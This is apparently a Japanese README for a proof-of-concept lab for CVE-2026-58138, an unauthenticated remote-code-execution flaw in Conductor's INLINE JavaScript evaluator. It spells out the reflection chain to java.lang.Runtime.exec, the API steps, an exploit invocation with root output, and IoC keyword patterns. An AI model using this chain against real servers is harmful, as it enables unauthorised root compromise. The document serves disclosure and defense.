
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) の INLINE GraalVM エバリュエーター(HostAccess.ALL)を介した未認証RCE。ラボ + PoC、e2e(root)で検証済み。
要約: Orkes/OSS Conductor(バージョン
3.21.21から< 3.30.2)は、INLINEタスクでユーザーが指定した JavaScript を、完全なホストアクセス(HostAccess.ALL)を許可した GraalVM コンテキストで評価します。コミュニティ API はデフォルトで認証がないため、未認証のユーザーが悪意のあるワークフローを送信し、バインドされた JavaScript オブジェクトからjava.lang.Runtimeにピボットし、Conductor プロセスユーザー(多くの場合root)として**未認証のリモートコード実行(RCE)**を達成できます。
| 属性 | 詳細 |
|---|---|
| CVE 識別子 | CVE-2026-58138 |
| 影響を受けるソフトウェア | Conductor 3.21.21 から 3.30.1 |
| 修正バージョン | 3.30.2(コミット: 87a7d96、c691e35) |
| 脆弱性クラス | CWE-94: コードインジェクション(GraalVM ポリグロットサンドボックスバイパス) |
| CVSS v3.1 スコア | 9.8(クリティカル) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | なし(コミュニティ API はデフォルトで未認証) |
| 確認 | conductoross/conductor:3.22.3 で root として確認済み |
バージョンに関する注意: バージョン
~3.29.xまでは単純なallowHostAccess(HostAccess.ALL)設定を使用しており、本 PoC はこれを直接悪用します。バージョン3.30.0および3.30.1では部分的なブロックリスト(一部のリフレクションをブロック)が導入されましたが、完全な修正(allowHostClassLoading(false)+ エンジンの強化)は3.30.2でのみ実装されています。本 PoC はサンドボックス化されていない設定を対象としています。
この脆弱性は、Conductor がスクリプト評価のために GraalVM ポリグロットコンテキストを構成する方法に存在します。
core/.../events/ScriptEvaluator.java(≤ 3.29.x)では、コンテキストは次のように構築されます:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // 危険: 完全なホスト相互運用、サンドボックスなし
.build();
なぜこれがゲームオーバーなのか:
HostAccess.ALL は、JavaScript エンジンに Java ホストオブジェクトの任意のメソッド呼び出しやフィールドへのアクセスを許可します。INLINE タスクは、その入力パラメータを JavaScript 変数 $ にバインドします。これは実際の Java オブジェクトです。$ から始めて Java リフレクションを連鎖させることができます:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <command>")。Context.newBuilder("python").allowAllAccess(true))にも存在します。この攻撃は認証を必要とせず、次の 3 つの簡単なステップで構成されます:
POST リクエストを /api/metadata/workflow に送信します。INLINE タスクには、expression フィールドにリフレクティブな JavaScript ペイロードが含まれます。POST リクエストを /api/workflow/{workflow_name} に送信してワークフローをトリガーします。Runtime.exec が OS コマンドを実行し、PoC は巧妙に stdout をキャプチャしてタスクの result 出力として返し、API 経由で取得されます。Docker を使用して脆弱性のある Conductor バージョンのローカルインスタンスを起動します。
# リポジトリをクローンし、ラボ環境を起動
docker compose -f docker/docker-lab.yml up -d
# オールインワンサーバーが完全に起動するまで約 60 秒待機
提供された Python エクスプロイトスクリプトを実行します。このスクリプトは Python 標準ライブラリのみ に依存し、外部依存関係は必要ありません。
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Target: http://127.0.0.1:8080
[*] Command: 'id; hostname; whoami'
[*] Registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] Starting workflow execution ... (no auth)
[*] Started workflow id=pwn_1705432100; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
注: uid=0(root) の出力は、模擬的な応答ではなく、ホスト上での実際の実行を証明しています。
エクスプロイトが成功すると、攻撃者は Conductor オーケストレーターホスト上で 任意の OS コマンド実行 を達成できます。
Conductor は多くの場合、インフラストラクチャを管理するために昇格された権限でデプロイされるため、通常これは以下の結果をもたらします:
≥ 3.30.2 に更新してください。このバージョンでは、JS および Python 評価器はホストアクセスやクラスロードを有効にした状態で実行されなくなります。環境内で次の侵害指標(IoC)を監視します:
expression 文字列に以下の参照が含まれる INLINE、LAMBDA、DO_WHILE、SWITCH タスクをフラグします:
getClass、forName、Runtime、exec、ProcessBuilderjava.lang.reflect または一般的な java. パッケージへのアクセスsh、bash、cmd.exe)を生成したり、アウトバウンドネットワーク接続を行ったりするのを監視します。リフレクションチェーン、バージョン別の評価器設定、パッチ分析の詳細については、ANALYSIS.md を参照してください。
免責事項: このリポジトリは、防御的、教育的、および許可されたセキュリティテスト目的のための独立した再現可能なラボおよび Proof of Concept(PoC)を含んでいます。このコードを、あなたが所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。著者は誤用に対する一切の責任を負いません。